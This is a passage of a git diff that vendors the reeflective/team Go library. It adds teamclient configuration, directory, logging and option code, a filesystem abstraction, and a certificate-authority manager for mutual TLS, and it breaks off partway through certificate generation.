failed: %w", err) + } + + return conf, nil +} + +// SaveConfig saves a client config to disk. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) SaveConfig(config *Config) error { + if config.User == "" { + return ErrConfigNoUser + } + + configDir := tc.ConfigsDir() + + // If we are in-memory, still make the directory. + if _, err := os.Stat(configDir); os.IsNotExist(err) { + if err = os.MkdirAll(configDir, assets.DirPerm); err != nil { + return tc.errorf("%w: %w", ErrConfig, err) + } + } + + filename := fmt.Sprintf("%s_%s.%s", filepath.Base(config.User), filepath.Base(config.Host), command.ClientConfigExt) + saveTo, _ := filepath.Abs(filepath.Join(configDir, filename)) + + configJSON, err := json.Marshal(config) + if err != nil { + return fmt.Errorf("%w: %w", ErrConfig, err) + } + + err = os.WriteFile(saveTo, configJSON, fileWriteModePerm) + if err != nil { + return tc.errorf("Failed to write config to: %s (%w)", saveTo, err) + } + + tc.log().Infof("Saved new client config to: %s", saveTo) + + return nil +} + +// SelectConfig either returns the only configuration found in the app +// client remote configs directory, or prompts the user to select one. +// This call might thus be blocking, and expect user input. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) SelectConfig() *Config { + configs := tc.GetConfigs() + + if len(configs) == 0 { + return nil + } + + if len(configs) == 1 { + for _, config := range configs { + return config + } + } + + answer := struct{ Config string }{} + qs := getPromptForConfigs(configs) + + err := survey.Ask(qs, &answer) + if err != nil { + tc.log().Errorf("config prompt failed: %s", err) + return nil + } + + return configs[answer.Config] +} + +// Config returns the currently used teamclient server configuration. +// This configuration might be empty (not nil), if no specific server +// configuration was loaded by the client yet. +func (tc *Client) Config() *Config { + return tc.opts.config +} + +// NewTLSConfigFrom generates a working client TLS configuration prepared for Mutual TLS. +// It requires the three credential materials presents in any user remote teamserver config. +func (tc *Client) NewTLSConfigFrom(caCert string, cert string, key string) (*tls.Config, error) { + certPEM, err := tls.X509KeyPair([]byte(cert), []byte(key)) + if err != nil { + return nil, fmt.Errorf("Cannot parse client certificate: %w", err) + } + + // Load CA cert + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM([]byte(caCert)) + + // Setup config with custom certificate validation routine + tlsConfig := &tls.Config{ + Certificates: []tls.Certificate{certPEM}, + RootCAs: caCertPool, + InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing + VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error { + return certs.RootOnlyVerifyCertificate(caCert, rawCerts) + }, + } + + return tlsConfig, nil +} + +func getPromptForConfigs(configs map[string]*Config) []*survey.Question { + keys := []string{} + for k := range configs { + keys = append(keys, k) + } + + sort.Strings(keys) + + return []*survey.Question{ + { + Name: "config", + Prompt: &survey.Select{ + Message: "Select a server:", + Options: keys, + Default: keys[0], + }, + }, + } +} diff --git a/vendor/github.com/reeflective/team/client/directories.go b/vendor/github.com/reeflective/team/client/directories.go new file mode 100644 index 0000000000..8833282f70 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/directories.go @@ -0,0 +1,95 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + + "github.com/reeflective/team/internal/assets" +) + +// HomeDir returns the root application directory (~/.app/ by default). +// This directory can be set with the environment variable _ROOT_DIR. +// This directory is not to be confused with the ~/.app/teamclient directory +// returned by the client.TeamDir(), which is specific to the app teamclient. +func (tc *Client) HomeDir() string { + var dir string + + // Note: very important not to combine the nested if here. + if !tc.opts.inMemory { + if tc.homeDir == "" { + user, _ := user.Current() + dir = filepath.Join(user.HomeDir, "."+tc.name) + } else { + dir = tc.homeDir + } + } else { + dir = "." + tc.name + } + + err := tc.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// TeamDir returns the teamclient directory of the app (named ~/./teamclient/), +// creating the directory if needed, or logging an error event if failing to create it. +// This directory is used to store teamclient logs and remote server configs. +func (tc *Client) TeamDir() string { + dir := filepath.Join(tc.HomeDir(), tc.opts.teamDir) + + err := tc.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// LogsDir returns the directory of the teamclient logs (~/.app/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (tc *Client) LogsDir() string { + logsDir := filepath.Join(tc.TeamDir(), assets.DirLogs) + + err := tc.fs.MkdirAll(logsDir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", logsDir, err) + } + + return logsDir +} + +// ConfigsDir returns the path to the remote teamserver configs directory +// for this application (~/.app/teamclient/configs), creating the directory +// if needed, or logging a fatal event if failing to create it. +func (tc *Client) ConfigsDir() string { + rootDir, _ := filepath.Abs(tc.TeamDir()) + dir := filepath.Join(rootDir, assets.DirConfigs) + + err := tc.fs.MkdirAll(dir, assets.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s configs dir: %s", dir, err) + } + + return dir +} diff --git a/vendor/github.com/reeflective/team/client/errors.go b/vendor/github.com/reeflective/team/client/errors.go new file mode 100644 index 0000000000..d4ccd8f553 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/errors.go @@ -0,0 +1,43 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "errors" + +var ( + // ErrNoTeamclient indicates that the client cannot remotely query a server + // to get its version or user information, because there is no client RPC + // to do it. Make sure that your team/client.Client has been given one. + ErrNoTeamclient = errors.New("this teamclient has no client implementation") + + // ErrConfig is an error related to the teamclient connection configuration. + ErrConfig = errors.New("client config error") + + // ErrNoConfig indicates that no configuration, default or on file system, was found. + ErrNoConfig = errors.New("no client configuration was selected or parsed") + + // ErrConfigNoUser says that the configuration has no user, + // which is not possible even if the client is an in-memory one. + ErrConfigNoUser = errors.New("client config with empty user") + + // ErrClient indicates an error raised by the client when igniting or connecting. + // Most errors are raised by the underlying transport stack, which can be user-specific, + // so users of this library should unwrap ErrClient errors to check against their owns. + ErrClient = errors.New("teamclient dialer") +) diff --git a/vendor/github.com/reeflective/team/client/log.go b/vendor/github.com/reeflective/team/client/log.go new file mode 100644 index 0000000000..ed602c227e --- /dev/null +++ b/vendor/github.com/reeflective/team/client/log.go @@ -0,0 +1,114 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "path/filepath" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" +) + +// NamedLogger returns a new logging "thread" with two fields (optional) +// to indicate the package/general domain, and a more precise flow/stream. +// The events are logged according to the teamclient logging backend setup. +func (tc *Client) NamedLogger(pkg, stream string) *logrus.Entry { + return tc.log().WithFields(logrus.Fields{ + log.PackageFieldKey: pkg, + "stream": stream, + }) +} + +// SetLogWriter sets the stream to which the stdio logger (not the file logger) +// should write to. This option is used by the teamclient cobra command tree to +// synchronize its basic I/O/err with the teamclient backend. +func (tc *Client) SetLogWriter(stdout, stderr io.Writer) { + tc.stdoutLogger.Out = stdout + // TODO: Pass stderr to log internals. +} + +// SetLogLevel sets the logging level of all teamclient loggers. +func (tc *Client) SetLogLevel(level int) { + if tc.stdoutLogger == nil { + return + } + + if uint32(level) > uint32(logrus.TraceLevel) { + level = int(logrus.TraceLevel) + } + + tc.stdoutLogger.SetLevel(logrus.Level(uint32(level))) + + if tc.fileLogger != nil { + tc.fileLogger.SetLevel(logrus.Level(uint32(level))) + } +} + +// log returns a non-nil logger for the client: +// if file logging is disabled, it returns the stdout-only logger, +// otherwise returns the file logger equipped with a stdout hook. +func (tc *Client) log() *logrus.Logger { + if tc.fileLogger != nil { + return tc.fileLogger + } + + if tc.stdoutLogger == nil { + tc.stdoutLogger = log.NewStdio(logrus.WarnLevel) + } + + return tc.stdoutLogger +} + +func (tc *Client) errorf(msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + tc.log().Error(logged) + + return logged +} + +func (tc *Client) initLogging() (err error) { + // By default, the stdout logger is never nil. + // We might overwrite it below if using our defaults. + tc.stdoutLogger = log.NewStdio(logrus.WarnLevel) + + // Path to our client log file, and open it (in mem or on disk) + logFile := filepath.Join(tc.LogsDir(), log.FileName(tc.Name(), false)) + + // If the teamclient should log to a predefined file. + if tc.opts.logFile != "" { + logFile = tc.opts.logFile + } + + // If user supplied a logger, use it in place of the + // file-based logger, since the file logger is optional. + if tc.opts.logger != nil { + tc.fileLogger = tc.opts.logger + return nil + } + + // Create the loggers writing to this file, and hooked to write to stdout as well. + tc.fileLogger, tc.stdoutLogger, err = log.Init(tc.fs, logFile, logrus.InfoLevel) + if err != nil { + return err + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go new file mode 100644 index 0000000000..9a321e0d8e --- /dev/null +++ b/vendor/github.com/reeflective/team/client/options.go @@ -0,0 +1,216 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "os" + "strings" + + "github.com/reeflective/team/internal/assets" + "github.com/sirupsen/logrus" +) + +const noTeamdir = "no team subdirectory" + +// Options are client options. +// You can set or modify the behavior of a teamclient at various +// steps with these options, which are a variadic parameter of +// several client.Client methods. +// Note that some options can only be used once, while others can be +// used multiple times. Examples of the former are log files, while +// the latter includes dialers/hooks. +// Each option will specify this in its description. +type Options func(opts *opts) + +type opts struct { + homeDir string + teamDir string + noLogs bool + logFile string + inMemory bool + console bool + stdout io.Writer + config *Config + logger *logrus.Logger + dialer Dialer +} + +func defaultOpts() *opts { + return &opts{ + config: &Config{}, + } +} + +func (tc *Client) apply(options ...Options) { + for _, optFunc := range options { + optFunc(tc.opts) + } + + // The server will apply options multiple times + // in its lifetime, but some options can only be + // set once when created. + tc.initOpts.Do(func() { + // Application home directory. + homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(tc.name))) + if homeDir != "" { + tc.homeDir = homeDir + } else { + tc.homeDir = tc.opts.homeDir + } + }) + + if tc.opts.dialer != nil { + tc.dialer = tc.opts.dialer + } + + // Team directory. + if tc.opts.teamDir == noTeamdir { + tc.opts.teamDir = "" + } else if tc.opts.teamDir == "" { + tc.opts.teamDir = assets.DirClient + } + + if tc.opts.stdout != nil { + tc.stdoutLogger.Out = tc.opts.stdout + } +} + +// +// *** General options *** +// + +// WithInMemory deactivates all interactions of the client with the on-disk filesystem. +// This will in effect use in-memory files for all file-based logging and database data. +// This might be useful for testing, or if you happen to embed a teamclient in a program +// without the intent of using it now, etc. +// +// This option can only be used once, and should be passed client.New(). +func WithInMemory() Options { + return func(opts *opts) { + opts.noLogs = true + opts.inMemory = true + } +} + +// WithConfig sets the client to use a given remote teamserver configuration which +// to connect to, instead of using default on-disk user/application configurations. +// This function will be very useful to library users who wish to implement specific +// remote teamserver selection & connection strategies, depending on the domains and +// and use cases of these tools. +func WithConfig(config *Config) Options { + return func(opts *opts) { + opts.config = config + } +} + +// WithHomeDirectory sets the default path (~/.app/) of the application directory. +// This path can still be overridden at the user-level with the env var APP_ROOT_DIR. +// +// This option can only be used once, and must be passed client.New(). +func WithHomeDirectory(path string) Options { + return func(opts *opts) { + opts.homeDir = path + } +} + +// WithTeamDirectory sets the name (not a path) of the teamclient-specific subdirectory. +// For example, passing "my_team_dir" will make the teamclient use ~/.app/my_team_dir/ +// instead of ~/.app/teamclient/. +// If this function is called with an empty string, the teamclient will not use any +// subdirectory for its own outputs, thus using ~/.app as its teamclient directory. +// +// This option can only be used once, and should be passed client.New(). +func WithTeamDirectory(name string) Options { + return func(opts *opts) { + if name == "" { + name = noTeamdir + } + + opts.teamDir = name + } +} + +// +// *** Logging options *** +// + +// WithNoLogs deactivates all logging normally done by the teamclient +// if noLogs is set to true, or keeps/reestablishes them if false. +// +// This option can only be used once, and should be passed client.New(). +func WithNoLogs(noLogs bool) Options { + return func(opts *opts) { + opts.noLogs = noLogs + } +} + +// WithLogFile sets the path to the file where teamclient logging should be done. +// If not specified, the client log file is ~/.app/teamclient/logs/app.teamclient.log. +// +// This option can only be used once, and should be passed client.New(). +func WithLogFile(filePath string) Options { + return func(opts *opts) { + opts.logFile = filePath + } +} + +// WithLogger sets the teamclient to use a specific logger for logging. +// +// This option can only be used once, and should be passed client.New(). +func WithLogger(logger *logrus.Logger) Options { + return func(opts *opts) { + opts.logger = logger + } +} + +// +// *** Client network/RPC options *** +// + +// WithDialer sets a custom dialer to connect to the teamserver. +// See the Dialer type documentation for implementation/usage details. +// +// It accepts an optional list of hooks to run on the generic clientConn +// returned by the client.Dialer Dial() method (see Dialer doc for details). +// This client object can be pretty much any client-side conn/RPC object. +// You will have to typecast this conn in your hooks, casting it to the type +// that your teamclient Dialer.Dial() method returns. +// +// This option can be used multiple times, either when using +// team/client.New() or when using the teamclient.Connect() method. +func WithDialer(dialer Dialer) Options { + return func(opts *opts) { + opts.dialer = dialer + } +} + +// WithNoDisconnect is meant to be used when the teamclient commands are used +// in a closed-loop (readline-style) application, where the connection is used +// more than once in the lifetime of the Go program. +// If this is the case, this option will ensure that any cobra client command +// runners produced by this library will not disconnect after each execution. +// +// This option can only be used once, and should be passed client.New(). +func WithNoDisconnect() Options { + return func(opts *opts) { + opts.console = true + } +} diff --git a/vendor/github.com/reeflective/team/internal/assets/fs.go b/vendor/github.com/reeflective/team/internal/assets/fs.go new file mode 100644 index 0000000000..8fec1db2ce --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/assets/fs.go @@ -0,0 +1,211 @@ +package assets + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "io/fs" + "os" + "path/filepath" + "strings" + + "github.com/psanford/memfs" +) + +const ( + // FileReadPerm is the permission bit given to the OS when reading files. + FileReadPerm = 0o600 + // DirPerm is the permission bit given to teamserver/client directories. + DirPerm = 0o700 + // FileWritePerm is the permission bit given to the OS when writing files. + FileWritePerm = 0o644 + + // FileWriteOpenMode is used when opening log files in append/create/write-only mode. + FileWriteOpenMode = os.O_APPEND | os.O_CREATE | os.O_WRONLY +) + +const ( + // Teamclient. + + // DirClient is the name of the teamclient subdirectory. + DirClient = "teamclient" + // DirLogs subdirectory name. + DirLogs = "logs" + // DirConfigs subdirectory name. + DirConfigs = "configs" + + // Teamserver. + + // DirServer is the name of the teamserver subdirectory. + DirServer = "teamserver" + // DirCerts subdirectory name. + DirCerts = "certs" +) + +// FS is a filesystem abstraction for teamservers and teamclients. +// When either of them are configured to run in memory only, this +// filesystem is initialized accordingly, otherwise it will forward +// its calls to the on-disk filesystem. +// +// This type currently exists because the stdlib io/fs.FS type is read-only, +// and that in order to provide a unique abstraction to the teamclient/server +// filesystems, this filesystem type adds writing methods. +type FS struct { + mem *memfs.FS + root string +} + +// NewFileSystem returns a new filesystem configured to run on disk or in-memory. +func NewFileSystem(root string, inMemory bool) *FS { + filesystem := &FS{ + root: root, + } + + if inMemory { + filesystem.mem = memfs.New() + } + + return filesystem +} + +// MkdirAll creates a directory named path, along with any necessary parents, +// and returns nil, or else returns an error. +// The permission bits perm (before umask) are used for all directories that MkdirAll creates. +// If path is already a directory, MkdirAll does nothing and returns nil. +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) MkdirAll(path string, perm fs.FileMode) error { + if f.mem == nil { + return os.MkdirAll(path, perm) + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.MkdirAll(path, perm) +} + +// Sub returns a file system (an fs.FS) for the tree of files rooted at the directory dir, +// or an error if it failed. When the teamclient fs is on disk, os.Stat() and os.DirFS() are used. +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) Sub(path string) (fs fs.FS, err error) { + if f.mem == nil { + _, err = os.Stat(path) + + return os.DirFS(path), err + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.Sub(path) +} + +// Open is like fs.Open(). +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) Open(name string) (fs.File, error) { + if f.mem == nil { + return os.Open(name) + } + + name = strings.TrimPrefix(name, f.root) + + return f.mem.Open(name) +} + +// OpenFile is like os.OpenFile(), but returns a custom *File type implementing +// the io.WriteCloser interface, so that it can be written to and closed more easily. +func (f *FS) OpenFile(name string, flag int, perm fs.FileMode) (*File, error) { + inFile := &File{ + name: name, + } + + if f.mem != nil { + inFile.mem = f.mem + + return inFile, nil + } + + file, err := os.OpenFile(name, flag, perm) + if err != nil { + return nil, err + } + + inFile.file = file + + return inFile, nil +} + +// WriteFile is like os.WriteFile(). +func (f *FS) WriteFile(path string, data []byte, perm fs.FileMode) error { + if f.mem == nil { + return os.WriteFile(path, data, perm) + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.WriteFile(path, data, perm) +} + +// ReadFile is like os.ReadFile(). +func (f *FS) ReadFile(path string) (b []byte, err error) { + if f.mem == nil { + return os.ReadFile(path) + } + + _, err = f.mem.Open(path) + if err != nil { + return + } + + return fs.ReadFile(f.mem, path) +} + +// File wraps the *os.File type with some in-memory helpers, +// so that we can write/read to teamserver application files +// regardless of where they are. +// This should disappear if a Write() method set is added to the io/fs package. +type File struct { + name string + file *os.File + mem *memfs.FS +} + +// Write implements the io.Writer interface by writing data either +// to the file on disk, or to an in-memory file. +func (f *File) Write(data []byte) (written int, err error) { + if f.file != nil { + return f.file.Write(data) + } + + fileName := filepath.Base(f.name) + + return len(data), f.mem.WriteFile(fileName, data, FileWritePerm) +} + +// Close implements io.Closer by closing the file on the filesystem. +func (f *File) Close() error { + if f.file != nil { + return f.file.Close() + } + + return nil +} diff --git a/server/certs/README.md b/vendor/github.com/reeflective/team/internal/certs/README.md similarity index 100% rename from server/certs/README.md rename to vendor/github.com/reeflective/team/internal/certs/README.md diff --git a/vendor/github.com/reeflective/team/internal/certs/ca.go b/vendor/github.com/reeflective/team/internal/certs/ca.go new file mode 100644 index 0000000000..7a0073866d --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/ca.go @@ -0,0 +1,149 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/ecdsa" + "crypto/x509" + "encoding/pem" + "fmt" + "os" + "path/filepath" + + "github.com/reeflective/team/internal/assets" +) + +// ----------------------- +// CERTIFICATE AUTHORITY +// ----------------------- + +const ( + certFileExt = "teamserver.pem" +) + +// GetUsersCA returns the certificate authority for teamserver users. +func (c *Manager) GetUsersCA() (*x509.Certificate, *ecdsa.PrivateKey, error) { + return c.getCA(userCA) +} + +// GetUsersCAPEM returns the certificate authority for teamserver users, PEM-encoded. +func (c *Manager) GetUsersCAPEM() ([]byte, []byte, error) { + return c.getCAPEM(userCA) +} + +// SaveUsersCA saves a user certificate authority (may contain several users). +func (c *Manager) SaveUsersCA(cert, key []byte) { + c.saveCA(userCA, cert, key) +} + +// generateCA - Creates a new CA cert for a given type, or die trying. +func (c *Manager) generateCA(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) { + storageDir := c.getCertDir() + + certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + if _, err := os.Stat(certFilePath); os.IsNotExist(err) { + c.log.Infof("Generating certificate authority for '%s'", caType) + cert, key := c.GenerateECCCertificate(caType, commonName, true, false) + c.saveCA(caType, cert, key) + } + + cert, key, err := c.getCA(caType) + if err != nil { + c.log.Fatalf("Failed to load CA: %s", err) + } + + return cert, key +} + +// getCA - Get the current CA certificate. +func (c *Manager) getCA(caType string) (*x509.Certificate, *ecdsa.PrivateKey, error) { + certPEM, keyPEM, err := c.getCAPEM(caType) + if err != nil { + return nil, nil, err + } + + certBlock, _ := pem.Decode(certPEM) + if certBlock == nil { + c.log.Error("Failed to parse certificate PEM") + return nil, nil, err + } + + cert, err := x509.ParseCertificate(certBlock.Bytes) + if err != nil { + c.log.Error("Failed to parse certificate: " + err.Error()) + return nil, nil, err + } + + keyBlock, _ := pem.Decode(keyPEM) + if keyBlock == nil { + c.log.Error("Failed to parse certificate PEM") + return nil, nil, err + } + + key, err := x509.ParseECPrivateKey(keyBlock.Bytes) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + return cert, key, nil +} + +// getCAPEM - Get PEM encoded CA cert/key. +func (c *Manager) getCAPEM(caType string) ([]byte, []byte, error) { + caType = filepath.Base(caType) + caCertPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + caKeyPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt)) + + certPEM, err := c.fs.ReadFile(caCertPath) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + keyPEM, err := c.fs.ReadFile(caKeyPath) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + return certPEM, keyPEM, nil +} + +// saveCA - Save the certificate and the key to the filesystem +// doesn't return an error because errors are fatal. If we can't generate CAs, +// then we can't secure communication and we should die a horrible death. +func (c *Manager) saveCA(caType string, cert []byte, key []byte) { + storageDir := c.getCertDir() + + // CAs get written to the filesystem since we control the names and makes them + // easier to move around/backup + certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt)) + + err := c.fs.WriteFile(certFilePath, cert, assets.FileReadPerm) + if err != nil { + c.log.Fatalf("Failed write certificate data to %s, %s", certFilePath, err) + } + + err = c.fs.WriteFile(keyFilePath, key, assets.FileReadPerm) + if err != nil { + c.log.Fatalf("Failed write certificate data to %s: %s", keyFilePath, err) + } +} diff --git a/vendor/github.com/reeflective/team/internal/certs/certs.go b/vendor/github.com/reeflective/team/internal/certs/certs.go new file mode 100644 index 0000000000..d2377ea6ba --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/certs.go @@ -0,0 +1,380 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "crypto/x509/pkix" + "encoding/binary" + "encoding/pem" + "errors" + "fmt" + "math/big" + insecureRand "math/rand" + "net" + "path/filepath" + "time" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/db" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +const ( + // ECCKey - Namespace for ECC keys. + ECCKey = "ecc" + + // RSAKey - Namespace for RSA keys. + RSAKey = "rsa" + + // Internal constants. + daysInYear = 365 + hoursInDay = 24 + validForYears = 3 + serialNumberLen = 128 +) + +// ErrCertDoesNotExist - Returned if a GetCertificate() is called for a cert/cn that does not exist. +var ErrCertDoesNotExist = errors.New("Certificate does not exist") + +// Manager is used to manage the certificate infrastructure for a given teamserver. +// Has access to a given database for storage, a logger and an abstract filesystem. +type Manager struct { + appName string + appDir string + log *logrus.Entry + database *gorm.DB + fs *assets.FS +} + +// NewManager initializes and returns a certificate manager for a given teamserver. +// The returned manager will have ensured that all certificate authorities are initialized +// and working, or will create them if needed. +// Any critical error happening at initialization time will send a log.Fatal event to the +// provided logger. If the latter has no modified log.ExitFunc, this will make the server +// panic and exit. +func NewManager(filesystem *assets.FS, db *gorm.DB, logger *logrus.Entry, appName, appDir string) *Manager { + certs := &Manager{ + appName: appName, + appDir: appDir, + log: logger, + database: db, + fs: filesystem, + } + + certs.generateCA(userCA, "teamusers") + + return certs +} + +func (c *Manager) db() *gorm.DB { + return c.database.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} + +// GetECCCertificate - Get an ECC certificate. +func (c *Manager) GetECCCertificate(caType string, commonName string) ([]byte, []byte, error) { + return c.GetCertificate(caType, ECCKey, commonName) +} + +// GetRSACertificate - Get an RSA certificate. +func (c *Manager) GetRSACertificate(caType string, commonName string) ([]byte, []byte, error) { + return c.GetCertificate(caType, RSAKey, commonName) +} + +// GetCertificate - Get the PEM encoded certificate & key for a host. +func (c *Manager) GetCertificate(caType string, keyType string, commonName string) ([]byte, []byte, error) { + if keyType != ECCKey && keyType != RSAKey { + return nil, nil, fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Getting certificate ca type = %s, cn = '%s'", caType, commonName) + + certModel := db.Certificate{} + result := c.db().Where(&db.Certificate{ + CAType: caType, + KeyType: keyType, + CommonName: commonName, + }).First(&certModel) + + if errors.Is(result.Error, db.ErrRecordNotFound) { + return nil, nil, ErrCertDoesNotExist + } + + if result.Error != nil { + return nil, nil, result.Error + } + + return []byte(certModel.CertificatePEM), []byte(certModel.PrivateKeyPEM), nil +} + +// RemoveCertificate - Remove a certificate from the cert store. +func (c *Manager) RemoveCertificate(caType string, keyType string, commonName string) error { + if keyType != ECCKey && keyType != RSAKey { + return fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Deleting certificate for cn = '%s'", commonName) + + err := c.db().Where(&db.Certificate{ + CAType: caType, + KeyType: keyType, + CommonName: commonName, + }).Delete(&db.Certificate{}).Error + + return err +} + +// -------------------------------- +// Generic Certificate Functions +// -------------------------------- + +// GenerateECCCertificate - Generate a TLS certificate with the given parameters +// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc. +// Returns two strings `cert` and `key` (PEM Encoded). +func (c *Manager) GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) { + c.log.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName) + + var privateKey interface{} + var err error + + // Generate private key + curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()} + curve := curves[randomInt(len(curves))] + + privateKey, err = ecdsa.GenerateKey(curve, rand.Reader) + if err != nil { + c.log.Fatalf("Failed to generate private key: %s", err) + } + + subject := pkix.Name{ + CommonName: commonName, + } + + return c.generateCertificate(caType, subject, isCA, isClient, privateKey) +} + +// GenerateRSACertificate - Generates an RSA Certificate. +func (c *Manager) GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) { + c.log.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName) + + var privateKey interface{} + var err error + + // Generate private key + privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize()) + if err != nil { + c.log.Fatalf("Failed to generate private key: %s", err) + } + + subject := pkix.Name{ + CommonName: commonName, + } + + return c.generateCertificate(caType, subject, isCA, isClient, privateKey) +} + +func (c *Manager) generateCertificate(caType string, subject pkix.Name, isCA bool, isClient bool, privateKey interface{}) ([]byte, []byte) { + // Valid times, subtract random days from .Now() + notBefore := time.Now() + days := randomInt(daysInYear) * -1 // Within -1 year + notBefore = notBefore.AddDate(0, 0, days) + notAfter := notBefore.Add(randomValidFor()) + c.log.Debugf("Valid from %v to %v", notBefore, notAfter) + + // Serial 